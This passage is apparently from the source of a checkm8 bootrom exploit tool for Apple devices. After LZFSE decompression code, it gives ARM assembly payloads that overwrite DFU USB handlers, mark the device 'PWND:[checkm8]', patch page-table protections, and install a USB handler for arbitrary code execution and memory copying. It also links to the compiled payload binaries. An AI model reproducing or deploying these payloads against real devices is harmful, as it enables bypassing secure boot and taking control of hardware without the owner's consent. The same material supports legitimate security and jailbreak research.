60 | const uint8_t *current_literal;
61 | int32_t l_value, m_value, d_value, pad_0;
62 | fse_in_stream lmd_in_stream;
63 | uint32_t lmd_in_buf;
64 | uint16_t l_state, m_state, d_state, pad_1;
65 | fse_value_decoder_entry l_decoder[LZFSE_ENCODE_L_STATES], m_decoder[LZFSE_ENCODE_M_STATES], d_decoder[LZFSE_ENCODE_D_STATES];
66 | uint32_t literal_decoder[LZFSE_ENCODE_LITERAL_STATES];
67 | uint8_t literals[LZFSE_LITERALS_PER_BLOCK + 64];
68 | uint32_t pad_2;
69 | } lzfse_compressed_block_decoder_state;
70 | typedef struct {
71 | const uint8_t *src, *src_begin, *src_end;
72 | uint8_t *dst, *dst_begin, *dst_end;
73 | uint32_t end_of_stream, block_magic;
74 | lzfse_compressed_block_decoder_state compressed_lzfse_block_state;
75 | uncompressed_block_decoder_state uncompressed_block_state;
76 | uint32_t pad;
77 | } lzfse_decoder_state;
78 | typedef struct {
79 | uint32_t magic, n_raw_bytes;
80 | uint64_t packed_fields[3];
81 | uint8_t freq[2 * (LZFSE_ENCODE_L_SYMBOLS + LZFSE_ENCODE_M_SYMBOLS + LZFSE_ENCODE_D_SYMBOLS + LZFSE_ENCODE_LITERAL_SYMBOLS)];
82 | } lzfse_compressed_block_header_v2;
83 | typedef struct {
84 | uint32_t magic, n_raw_bytes, n_payload_bytes, n_literals, n_matches, n_literal_payload_bytes, n_lmd_payload_bytes;
85 | int32_t literal_bits;
86 | uint16_t literal_state[4];
87 | int32_t lmd_bits;
88 | uint16_t l_state, m_state, d_state, l_freq[LZFSE_ENCODE_L_SYMBOLS], m_freq[LZFSE_ENCODE_M_SYMBOLS], d_freq[LZFSE_ENCODE_D_SYMBOLS], literal_freq[LZFSE_ENCODE_LITERAL_SYMBOLS];
89 | } __attribute__((__packed__, __aligned__(2))) lzfse_compressed_block_header_v1;
90 |
91 | static const uint8_t l_extra_bits[LZFSE_ENCODE_L_SYMBOLS] = {
92 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 5, 8
93 | }, m_extra_bits[LZFSE_ENCODE_M_SYMBOLS] = {
94 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 5, 8, 11
95 | }, d_extra_bits[LZFSE_ENCODE_D_SYMBOLS] = {
96 | 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15
97 | };
98 | static const uint32_t l_base_value[LZFSE_ENCODE_L_SYMBOLS] = {
99 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 28, 60
100 | }, m_base_value[LZFSE_ENCODE_M_SYMBOLS] = {
101 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 24, 56, 312
102 | }, d_base_value[LZFSE_ENCODE_D_SYMBOLS] = {
103 | 0, 1, 2, 3, 4, 6, 8, 10, 12, 16, 20, 24, 28, 36, 44, 52, 60, 76, 92, 108, 124, 156, 188, 220, 252, 316, 380, 444, 508, 636, 764, 892, 1020, 1276, 1532, 1788, 2044, 2556, 3068, 3580, 4092, 5116, 6140, 7164, 8188, 10236, 12284, 14332, 16380, 20476, 24572, 28668, 32764, 40956, 49148, 57340, 65532, 81916, 98300, 114684, 131068, 163836, 196604, 229372
104 | };
105 |
106 | static uint64_t
107 | fse_mask_lsb(uint64_t x, uint32_t nbits) {
108 | return x & ((1ULL << nbits) - 1U);
109 | }
110 |
111 | static uint64_t
112 | fse_extract_bits(uint64_t x, uint32_t start, uint32_t nbits) {
113 | return fse_mask_lsb(x >> start, nbits);
114 | }
115 |
116 | static bool
117 | fse_in_init(fse_in_stream *s, int32_t n, const uint8_t **pbuf, const uint8_t *buf_start) {
118 | if(n != 0) {
119 | if(*pbuf < buf_start + sizeof(s->accum)) {
120 | return false;
121 | }
122 | *pbuf -= sizeof(s->accum);
123 | memcpy(&s->accum, *pbuf, sizeof(s->accum));
124 | s->accum_nbits = (uint32_t)(n + 64);
125 | } else {
126 | if(*pbuf < buf_start + sizeof(s->accum) - 1) {
127 | return false;
128 | }
129 | *pbuf -= sizeof(s->accum) - 1;
130 | memcpy(&s->accum, *pbuf, sizeof(s->accum) - 1);
131 | s->accum &= (1ULL << 56U) - 1U;
132 | s->accum_nbits = (uint32_t)(n + 56);
133 | }
134 | if(s->accum_nbits < 56 || s->accum_nbits >= 64 || (s->accum >> s->accum_nbits) != 0) {
135 | return false;
136 | }
137 | return true;
138 | }
139 |
140 | static bool
141 | fse_in_flush(fse_in_stream *s, const uint8_t **pbuf, const uint8_t *buf_start) {
142 | uint32_t nbits = (63U - s->accum_nbits) & -sizeof(s->accum);
143 | const uint8_t *buf = *pbuf - (nbits >> 3U);
144 | uint64_t incoming;
145 |
146 | if(buf < buf_start) {
147 | return false;
148 | }
149 | *pbuf = buf;
150 | memcpy(&incoming, buf, sizeof(incoming));
151 | s->accum = (s->accum << nbits) | fse_mask_lsb(incoming, nbits);
152 | s->accum_nbits += nbits;
153 | if(s->accum_nbits < 56 || s->accum_nbits >= 64 || (s->accum >> s->accum_nbits) != 0) {
154 | return false;
155 | }
156 | return true;
157 | }
158 |
159 | static uint64_t
160 | fse_in_pull(fse_in_stream *s, uint32_t n) {
161 | uint64_t result;
162 |
163 | s->accum_nbits -= n;
164 | result = s->accum >> s->accum_nbits;
165 | s->accum = fse_mask_lsb(s->accum, s->accum_nbits);
166 | return result;
167 | }
168 |
169 | static uint8_t
170 | fse_decode(fse_state *pstate, const uint32_t *decoder_table, fse_in_stream *in) {
171 | uint32_t e = decoder_table[*pstate];
172 |
173 | *pstate = (fse_state)((e >> 16U) + fse_in_pull(in, e & 0xFFU));
174 | return (uint8_t)fse_extract_bits((uint64_t)e, 8, 8);
175 | }
176 |
177 | static int32_t
178 | fse_value_decode(fse_state *pstate, const fse_value_decoder_entry *value_decoder_table, fse_in_stream *in) {
179 | fse_value_decoder_entry entry = value_decoder_table[*pstate];
180 | uint32_t state_and_value_bits = (uint32_t)fse_in_pull(in, entry.total_bits);
181 |
182 | *pstate = (fse_state)((uint32_t)entry.delta + (state_and_value_bits >> entry.value_bits));
183 | return (int32_t)((uint64_t)entry.vbase + fse_mask_lsb(state_and_value_bits, entry.value_bits));
184 | }
185 |
186 | static bool
187 | fse_init_decoder_table(uint32_t nstates, uint32_t nsymbols, const uint16_t *freq, uint32_t *t) {
188 | uint32_t f, i, j, k, j0, n_clz = (uint32_t)__builtin_clz(nstates), sum_of_freq = 0;
189 | fse_decoder_entry e;
190 |
191 | for(i = 0; i < nsymbols; ++i) {
192 | if((f = freq[i]) == 0) {
193 | continue;
194 | }
195 | sum_of_freq += f;
196 | if(sum_of_freq > nstates) {
197 | return false;
198 | }
199 | k = (uint32_t)__builtin_clz(f) - n_clz;
200 | j0 = ((2 * nstates) >> k) - f;
201 | for(j = 0; j < f; ++j) {
202 | e.symbol = (uint8_t)i;
203 | if(j < j0) {
204 | e.k = (uint8_t)k;
205 | e.delta = (uint16_t)(((f + j) << k) - nstates);
206 | } else {
207 | e.k = (uint8_t)(k - 1);
208 | e.delta = (uint16_t)((j - j0) << (k - 1));
209 | }
210 | memcpy(t, &e, sizeof(e));
211 | ++t;
212 | }
213 | }
214 | return true;
215 | }
216 |
217 | static void
218 | fse_init_value_decoder_table(uint32_t nstates, uint32_t nsymbols, const uint16_t *freq, const uint8_t *symbol_vbits, const uint32_t *symbol_vbase, fse_value_decoder_entry *t) {
219 | uint32_t f, i, j, k, j0, n_clz = (uint32_t)__builtin_clz(nstates);
220 | fse_value_decoder_entry e, ei;
221 |
222 | for(i = 0; i < nsymbols; ++i) {
223 | if((f = freq[i]) == 0) {
224 | continue;
225 | }
226 | k = (uint32_t)__builtin_clz(f) - n_clz;
227 | j0 = ((2 * nstates) >> k) - f;
228 | ei.value_bits = symbol_vbits[i];
229 | ei.vbase = symbol_vbase[i];
230 | for(j = 0; j < f; ++j) {
231 | e = ei;
232 | if(j < j0) {
233 | e.total_bits = (uint8_t)k + e.value_bits;
234 | e.delta = (uint16_t)(((f + j) << k) - nstates);
235 | } else {
236 | e.total_bits = (uint8_t)(k - 1) + e.value_bits;
237 | e.delta = (uint16_t)((j - j0) << (k - 1));
238 | }
239 | memcpy(t, &e, sizeof(e));
240 | ++t;
241 | }
242 | }
243 | }
244 |
245 | static uint32_t
246 | lzfse_decode_v1_freq_value(uint32_t bits, uint32_t *nbits) {
247 | const uint8_t lzfse_freq_nbits_table[] = {
248 | 2, 3, 2, 5, 2, 3, 2, 8, 2, 3, 2, 5, 2, 3, 2, 14, 2, 3, 2, 5, 2, 3, 2, 8, 2, 3, 2, 5, 2, 3, 2, 14
249 | }, lzfse_freq_value_table[] = {
250 | 0, 2, 1, 4, 0, 3, 1, 8, 0, 2, 1, 5, 0, 3, 1, 8, 0, 2, 1, 6, 0, 3, 1, 8, 0, 2, 1, 7, 0, 3, 1, 8
251 | };
252 | uint32_t b = bits & 31U, n = lzfse_freq_nbits_table[b];
253 |
254 | *nbits = n;
255 | if(n == 8) {
256 | return 8 + ((bits >> 4U) & 0xFU);
257 | }
258 | if(n == 14) {
259 | return 24 + ((bits >> 4U) & 0x3FFU);
260 | }
261 | return lzfse_freq_value_table[b];
262 | }
263 |
264 | static uint32_t
265 | get_field(uint64_t v, uint32_t offset, uint32_t nbits) {
266 | if(nbits == 32) {
267 | return (uint32_t)(v >> offset);
268 | }
269 | return (uint32_t)((v >> offset) & ((1U << nbits) - 1U));
270 | }
271 |
272 | static uint32_t
273 | lzfse_decode_v2_header_size(lzfse_compressed_block_header_v2 in) {
274 | return get_field(in.packed_fields[2], 0, 32);
275 | }
276 |
277 | static bool
278 | lzfse_decode_v1(lzfse_compressed_block_header_v1 *out, const uint8_t *in, lzfse_compressed_block_header_v2 header_v2) {
279 | uint32_t i, accum, nbits, accum_nbits;
280 | const uint8_t *src, *src_end;
281 | uint16_t *dst;
282 |
283 | memset(out, '\0', sizeof(*out));
284 | out->magic = LZFSE_COMPRESSEDV1_BLOCK_MAGIC;
285 | out->n_raw_bytes = header_v2.n_raw_bytes;
286 | out->n_literals = get_field(header_v2.packed_fields[0], 0, 20);
287 | out->n_literal_payload_bytes = get_field(header_v2.packed_fields[0], 20, 20);
288 | out->literal_bits = (int32_t)get_field(header_v2.packed_fields[0], 60, 3) - 7;
289 | out->literal_state[0] = (uint16_t)get_field(header_v2.packed_fields[1], 0, 10);
290 | out->literal_state[1] = (uint16_t)get_field(header_v2.packed_fields[1], 10, 10);
291 | out->literal_state[2] = (uint16_t)get_field(header_v2.packed_fields[1], 20, 10);
292 | out->literal_state[3] = (uint16_t)get_field(header_v2.packed_fields[1], 30, 10);
293 | out->n_matches = get_field(header_v2.packed_fields[0], 40, 20);
294 | out->n_lmd_payload_bytes = get_field(header_v2.packed_fields[1], 40, 20);
295 | out->lmd_bits = (int32_t)get_field(header_v2.packed_fields[1], 60, 3) - 7;
296 | out->l_state = (uint16_t)get_field(header_v2.packed_fields[2], 32, 10);
297 | out->m_state = (uint16_t)get_field(header_v2.packed_fields[2], 42, 10);
298 | out->d_state = (uint16_t)get_field(header_v2.packed_fields[2], 52, 10);
299 | out->n_payload_bytes = out->n_literal_payload_bytes + out->n_lmd_payload_bytes;
300 | src = in + offsetof(lzfse_compressed_block_header_v2, freq);
301 | src_end = in + lzfse_decode_v2_header_size(header_v2);
302 | if(src_end == src) {
303 | return true;
304 | }
305 | dst = out->l_freq;
306 | accum = 0;
307 | accum_nbits = 0;
308 | for(i = 0; i < LZFSE_ENCODE_L_SYMBOLS + LZFSE_ENCODE_M_SYMBOLS + LZFSE_ENCODE_D_SYMBOLS + LZFSE_ENCODE_LITERAL_SYMBOLS; ++i) {
309 | while(src < src_end && accum_nbits + 8 <= 32) {
310 | accum |= (uint32_t)*src << accum_nbits;
311 | accum_nbits += 8;
312 | ++src;
313 | }
314 | dst[i] = (uint16_t)lzfse_decode_v1_freq_value(accum, &nbits);
315 | if(nbits > accum_nbits) {
316 | return false;
317 | }
318 | accum >>= nbits;
319 | accum_nbits -= nbits;
320 | }
321 | if(accum_nbits >= 8 || src != src_end) {
322 | return false;
323 | }
324 | return true;
325 | }
326 |
327 | static bool
328 | lzfse_decode_lmd(lzfse_decoder_state *s) {
329 | int32_t i, new_d, L = s->compressed_lzfse_block_state.l_value, M = s->compressed_lzfse_block_state.m_value, D = s->compressed_lzfse_block_state.d_value, remaining_bytes = (int32_t)(s->dst_end - s->dst) - 32;
330 | fse_state l_state = s->compressed_lzfse_block_state.l_state, m_state = s->compressed_lzfse_block_state.m_state, d_state = s->compressed_lzfse_block_state.d_state;
331 | const uint8_t *src_start = s->src_begin, *src = s->src + s->compressed_lzfse_block_state.lmd_in_buf, *lit = s->compressed_lzfse_block_state.current_literal;
332 | fse_in_stream in = s->compressed_lzfse_block_state.lmd_in_stream;
333 | uint32_t symbols = s->compressed_lzfse_block_state.n_matches;
334 | uint8_t *dst = s->dst;
335 |
336 | if(L != 0 || M != 0) {
337 | goto ExecuteMatch;
338 | }
339 | while(symbols != 0) {
340 | if(!fse_in_flush(&in, &src, src_start)) {
341 | return false;
342 | }
343 | L = fse_value_decode(&l_state, s->compressed_lzfse_block_state.l_decoder, &in);
344 | if(lit + L >= s->compressed_lzfse_block_state.literals + LZFSE_LITERALS_PER_BLOCK + 64) {
345 | return false;
346 | }
347 | M = fse_value_decode(&m_state, s->compressed_lzfse_block_state.m_decoder, &in);
348 | new_d = fse_value_decode(&d_state, s->compressed_lzfse_block_state.d_decoder, &in);
349 | if(new_d != 0) {
350 | D = new_d;
351 | }
352 | --symbols;
353 | ExecuteMatch:
354 | if((uint32_t)D > (uint32_t)(dst + L - s->dst_begin)) {
355 | return false;
356 | }
357 | if(L + M <= remaining_bytes) {
358 | remaining_bytes -= L + M;
359 | memcpy(dst, lit, (size_t)L);
360 | dst += L;
361 | lit += L;
362 | for(i = 0; i < M; ++i) {
363 | dst[i] = dst[i - D];
364 | }
365 | dst += M;
366 | } else {
367 | remaining_bytes += 32;
368 | if(L <= remaining_bytes) {
369 | memcpy(dst, lit, (size_t)L);
370 | dst += L;
371 | lit += L;
372 | remaining_bytes -= L;
373 | } else {
374 | return false;
375 | }
376 | if(M <= remaining_bytes) {
377 | for(i = 0; i < M; ++i) {
378 | dst[i] = dst[i - D];
379 | }
380 | dst += M;
381 | remaining_bytes -= M;
382 | } else {
383 | return false;
384 | }
385 | remaining_bytes -= 32;
386 | }
387 | }
388 | s->dst = dst;
389 | return true;
390 | }
391 |
392 | static bool
393 | lzfse_decode(lzfse_decoder_state *s) {
394 | uint32_t i, magic, copy_size, src_space, dst_space;
395 | lzfse_compressed_block_header_v2 header_v2;
396 | lzfse_compressed_block_header_v1 header_v1;
397 | const uint8_t *buf, *buf_start;
398 | fse_state state[4];
399 | size_t header_size;
400 | fse_in_stream in;
401 |
402 | for(;;) {
403 | switch(s->block_magic) {
404 | case LZFSE_NO_BLOCK_MAGIC:
405 | if(s->src + sizeof(magic) > s->src_end) {
406 | return false;
407 | }
408 | memcpy(&magic, s->src, sizeof(magic));
409 | if(magic == LZFSE_ENDOFSTREAM_BLOCK_MAGIC) {
410 | s->src += sizeof(magic);
411 | s->end_of_stream = 1;
412 | return true;
413 | }
414 | if(magic == LZFSE_UNCOMPRESSED_BLOCK_MAGIC) {
415 | if(s->src + sizeof(uncompressed_block_header) > s->src_end) {
416 | return false;
417 | }
418 | memcpy(&s->uncompressed_block_state.n_raw_bytes, s->src + offsetof(uncompressed_block_header, n_raw_bytes), sizeof(s->uncompressed_block_state.n_raw_bytes));
419 | s->src += sizeof(uncompressed_block_header);
420 | s->block_magic = magic;
421 | break;
422 | }
423 | if(magic == LZFSE_COMPRESSEDLZVN_BLOCK_MAGIC) {
424 | return false;
425 | }
426 | if(magic == LZFSE_COMPRESSEDV1_BLOCK_MAGIC || magic == LZFSE_COMPRESSEDV2_BLOCK_MAGIC) {
427 | if(magic == LZFSE_COMPRESSEDV2_BLOCK_MAGIC) {
428 | if(s->src + offsetof(lzfse_compressed_block_header_v2, freq) > s->src_end) {
429 | return false;
430 | }
431 | memcpy(&header_v2, s->src, sizeof(header_v2));
432 | header_size = lzfse_decode_v2_header_size(header_v2);
433 | if(s->src + header_size > s->src_end || !lzfse_decode_v1(&header_v1, s->src, header_v2)) {
434 | return false;
435 | }
436 | } else {
437 | if(s->src + sizeof(header_v1) > s->src_end) {
438 | return false;
439 | }
440 | memcpy(&header_v1, s->src, sizeof(header_v1));
441 | header_size = sizeof(header_v1);
442 | }
443 | if(s->src + header_size + header_v1.n_literal_payload_bytes + header_v1.n_lmd_payload_bytes > s->src_end) {
444 | return false;
445 | }
446 | s->src += header_size;
447 | s->compressed_lzfse_block_state.n_lmd_payload_bytes = header_v1.n_lmd_payload_bytes;
448 | s->compressed_lzfse_block_state.n_matches = header_v1.n_matches;
449 | fse_init_decoder_table(LZFSE_ENCODE_LITERAL_STATES, LZFSE_ENCODE_LITERAL_SYMBOLS, header_v1.literal_freq, s->compressed_lzfse_block_state.literal_decoder);
450 | fse_init_value_decoder_table(LZFSE_ENCODE_L_STATES, LZFSE_ENCODE_L_SYMBOLS, header_v1.l_freq, l_extra_bits, l_base_value, s->compressed_lzfse_block_state.l_decoder);
451 | fse_init_value_decoder_table(LZFSE_ENCODE_M_STATES, LZFSE_ENCODE_M_SYMBOLS, header_v1.m_freq, m_extra_bits, m_base_value, s->compressed_lzfse_block_state.m_decoder);
452 | fse_init_value_decoder_table(LZFSE_ENCODE_D_STATES, LZFSE_ENCODE_D_SYMBOLS, header_v1.d_freq, d_extra_bits, d_base_value, s->compressed_lzfse_block_state.d_decoder);
453 | buf_start = s->src_begin;
454 | s->src += header_v1.n_literal_payload_bytes;
455 | buf = s->src;
456 | if(!fse_in_init(&in, header_v1.literal_bits, &buf, buf_start)) {
457 | return false;
458 | }
459 | state[0] = header_v1.literal_state[0];
460 | state[1] = header_v1.literal_state[1];
461 | state[2] = header_v1.literal_state[2];
462 | state[3] = header_v1.literal_state[3];
463 | for(i = 0; i < header_v1.n_literals; i += 4) {
464 | if(!fse_in_flush(&in, &buf, buf_start)) {
465 | return false;
466 | }
467 | s->compressed_lzfse_block_state.literals[i] = fse_decode(&state[0], s->compressed_lzfse_block_state.literal_decoder, &in);
468 | s->compressed_lzfse_block_state.literals[i + 1] = fse_decode(&state[1], s->compressed_lzfse_block_state.literal_decoder, &in);
469 | s->compressed_lzfse_block_state.literals[i + 2] = fse_decode(&state[2], s->compressed_lzfse_block_state.literal_decoder, &in);
470 | s->compressed_lzfse_block_state.literals[i + 3] = fse_decode(&state[3], s->compressed_lzfse_block_state.literal_decoder, &in);
471 | }
472 | s->compressed_lzfse_block_state.current_literal = s->compressed_lzfse_block_state.literals;
473 | buf = s->src + header_v1.n_lmd_payload_bytes;
474 | if(!fse_in_init(&in, header_v1.lmd_bits, &buf, s->src)) {
475 | return false;
476 | }
477 | s->compressed_lzfse_block_state.l_state = header_v1.l_state;
478 | s->compressed_lzfse_block_state.m_state = header_v1.m_state;
479 | s->compressed_lzfse_block_state.d_state = header_v1.d_state;
480 | s->compressed_lzfse_block_state.lmd_in_buf = (uint32_t)(buf - s->src);
481 | s->compressed_lzfse_block_state.l_value = s->compressed_lzfse_block_state.m_value = 0;
482 | s->compressed_lzfse_block_state.d_value = -1;
483 | s->compressed_lzfse_block_state.lmd_in_stream = in;
484 | s->block_magic = magic;
485 | break;
486 | }
487 | return false;
488 | case LZFSE_UNCOMPRESSED_BLOCK_MAGIC:
489 | copy_size = s->uncompressed_block_state.n_raw_bytes;
490 | if(copy_size == 0) {
491 | s->block_magic = 0;
492 | break;
493 | }
494 | if(s->src_end <= s->src) {
495 | return false;
496 | }
497 | src_space = (uint32_t)(s->src_end - s->src);
498 | if(copy_size > src_space) {
499 | copy_size = src_space;
500 | }
501 | if(s->dst_end <= s->dst) {
502 | return false;
503 | }
504 | dst_space = (uint32_t)(s->dst_end - s->dst);
505 | if(copy_size > dst_space) {
506 | copy_size = dst_space;
507 | }
508 | memcpy(s->dst, s->src, copy_size);
509 | s->src += copy_size;
510 | s->dst += copy_size;
511 | s->uncompressed_block_state.n_raw_bytes -= copy_size;
512 | break;
513 | case LZFSE_COMPRESSEDV1_BLOCK_MAGIC:
514 | case LZFSE_COMPRESSEDV2_BLOCK_MAGIC:
515 | if(s->src_end <= s->src || s->compressed_lzfse_block_state.n_lmd_payload_bytes > (size_t)(s->src_end - s->src) || !lzfse_decode_lmd(s)) {
516 | return false;
517 | }
518 | s->block_magic = LZFSE_NO_BLOCK_MAGIC;
519 | s->src += s->compressed_lzfse_block_state.n_lmd_payload_bytes;
520 | break;
521 | default:
522 | return false;
523 | }
524 | }
525 | return true;
526 | }
527 |
528 | size_t
529 | lzfse_decode_scratch_size(void) {
530 | return sizeof(lzfse_decoder_state);
531 | }
532 |
533 | static size_t
534 | lzfse_decode_buffer_with_scratch(uint8_t *dst_buffer, size_t dst_size, const uint8_t *src_buffer, size_t src_size, void *scratch_buffer) {
535 | lzfse_decoder_state *s = scratch_buffer;
536 |
537 | memset(s, '\0', sizeof(*s));
538 | s->src = src_buffer;
539 | s->src_begin = src_buffer;
540 | s->src_end = s->src + src_size;
541 | s->dst = dst_buffer;
542 | s->dst_begin = dst_buffer;
543 | s->dst_end = dst_buffer + dst_size;
544 | return lzfse_decode(s) ? (size_t)(s->dst - dst_buffer) : 0;
545 | }
546 |
547 | size_t
548 | lzfse_decode_buffer(uint8_t *dst_buffer, size_t dst_size, const uint8_t *src_buffer, size_t src_size, void *scratch_buffer) {
549 | bool has_malloc = false;
550 | size_t ret;
551 |
552 | if(scratch_buffer == NULL) {
553 | if((scratch_buffer = malloc(lzfse_decode_scratch_size())) == NULL) {
554 | return 0;
555 | }
556 | has_malloc = true;
557 | }
558 | ret = lzfse_decode_buffer_with_scratch(dst_buffer, dst_size, src_buffer, src_size, scratch_buffer);
559 | if(has_malloc) {
560 | free(scratch_buffer);
561 | }
562 | return ret;
563 | }
564 |
--------------------------------------------------------------------------------
/lzfse.h:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | #ifndef LZFSE_H
16 | # define LZFSE_H
17 | # include
18 | # include
19 | size_t
20 | lzfse_decode_scratch_size(void);
21 | size_t
22 | lzfse_decode_buffer(uint8_t *, size_t, const uint8_t *, size_t, void *);
23 | #endif
24 |
--------------------------------------------------------------------------------
/payload_A9.S:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | .text
16 | .align 2
17 |
18 | .pool
19 | .set payload_dest, 0x7FFFFFF0
20 | .set dfu_handle_bus_reset, 0x7FFFFFF1
21 | .set dfu_handle_request, 0x7FFFFFF2
22 | .set payload_off, 0x7FFFFFF3
23 | .set payload_sz, 0x7FFFFFF4
24 | .set memcpy_addr, 0x7FFFFFF5
25 | .set gUSBSerialNumber, 0x7FFFFFF6
26 | .set usb_create_string_descriptor, 0x7FFFFFF7
27 | .set usb_serial_number_string_descriptor, 0x7FFFFFF8
28 | .set ttbr0_vrom_addr, 0x7FFFFFF9
29 | .set patch_addr, 0x7FFFFFFA
30 |
31 | .global _main
32 | _main:
33 | stp x29, x30, [sp, #-0x10]!
34 | ldr x0, =payload_dest
35 | ldr x2, =dfu_handle_bus_reset
36 | str xzr, [x2]
37 | ldr x2, =dfu_handle_request
38 | add x1, x0, #0xC
39 | str x1, [x2]
40 | adr x1, _main
41 | ldr x2, =payload_off
42 | add x1, x1, x2
43 | ldr x2, =payload_sz
44 | ldr x3, =memcpy_addr
45 | blr x3
46 | ldr x0, =gUSBSerialNumber
47 | _find_zero_loop:
48 | add x0, x0, #1
49 | ldrb w1, [x0]
50 | cbnz w1, _find_zero_loop
51 | adr x1, PWND_STR
52 | ldp x2, x3, [x1]
53 | stp x2, x3, [x0]
54 | ldr x0, =gUSBSerialNumber
55 | ldr x1, =usb_create_string_descriptor
56 | blr x1
57 | ldr x1, =usb_serial_number_string_descriptor
58 | strb w0, [x1]
59 | ldr x0, =ttbr0_vrom_addr
60 | ldr x1, [x0]
61 | bic x1, x1, #0xC0
62 | str x1, [x0]
63 | dsb sy
64 | tlbi alle3
65 | dsb sy
66 | isb
67 | mov w2, #0xD2800000
68 | ldr x3, =patch_addr
69 | str w2, [x3]
70 | orr x1, x1, #0x80
71 | str x1, [x0]
72 | dsb sy
73 | tlbi alle3
74 | dsb sy
75 | isb
76 | ldp x29, x30, [sp], #0x10
77 | ret
78 |
79 | PWND_STR:
80 | .asciz " PWND:[checkm8]"
81 |
--------------------------------------------------------------------------------
/payload_A9.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_A9.bin
--------------------------------------------------------------------------------
/payload_handle_checkm8_request.S:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | .text
16 | .align 2
17 |
18 | .pool
19 | .set handle_interface_request, 0x7FFFFFF0
20 | .set insecure_memory_base, 0x7FFFFFF1
21 | .set exec_magic, 0x7FFFFFF2
22 | .set done_magic, 0x7FFFFFF3
23 | .set memc_magic, 0x7FFFFFF4
24 | .set memcpy_addr, 0x7FFFFFF5
25 | .set usb_core_do_transfer, 0x7FFFFFF6
26 |
27 | .global _main
28 | _main:
29 | ldr x7, =handle_interface_request
30 | br x7
31 | b _main
32 | ldrh w2, [x0]
33 | cmp w2, #0x2A1
34 | bne _main
35 | stp x29, x30, [sp, #-0x10]!
36 | stp x19, x20, [sp, #-0x10]!
37 | mov x19, x0
38 | ldr x20, =insecure_memory_base
39 | mov w1, #0xFFFF
40 | ldrh w2, [x19, #0x2]
41 | cmp w1, w2
42 | bne _request_done
43 | ldr x0, [x20]
44 | ldr x1, =exec_magic
45 | cmp x0, x1
46 | bne _not_exec
47 | str xzr, [x20]
48 | ldp x0, x1, [x20, #0x10]
49 | ldp x2, x3, [x20, #0x20]
50 | ldp x4, x5, [x20, #0x30]
51 | ldp x6, x7, [x20, #0x40]
52 | ldr x8, [x20, #0x8]
53 | blr x8
54 | ldr x8, =done_magic
55 | stp x8, x0, [x20]
56 | b _request_done
57 | _not_exec:
58 | ldr x1, =memc_magic
59 | cmp x0, x1
60 | bne _request_done
61 | str xzr, [x20]
62 | ldp x0, x1, [x20, #0x10]
63 | ldr x2, [x20, #0x20]
64 | ldr x3, =memcpy_addr
65 | blr x3
66 | ldr x8, =done_magic
67 | stp x8, x0, [x20]
68 | _request_done:
69 | mov w0, #0x80
70 | mov x1, x20
71 | ldrh w2, [x19, #0x6]
72 | mov x3, xzr
73 | ldr x4, =usb_core_do_transfer
74 | blr x4
75 | mov w0, #0
76 | ldp x19, x20, [sp], #0x10
77 | ldp x29, x30, [sp], #0x10
78 | ret
79 |
--------------------------------------------------------------------------------
/payload_handle_checkm8_request.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_handle_checkm8_request.bin
--------------------------------------------------------------------------------
/payload_handle_checkm8_request_armv7.S:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | .text
16 | .align 2
17 |
18 | .pool
19 | .set handle_interface_request, 0x7FFFFF0
20 | .set insecure_memory_base, 0x7FFFFF1
21 | .set exec_magic, 0x7FFFFF2
22 | .set done_magic, 0x7FFFFF3
23 | .set memc_magic, 0x7FFFFF4
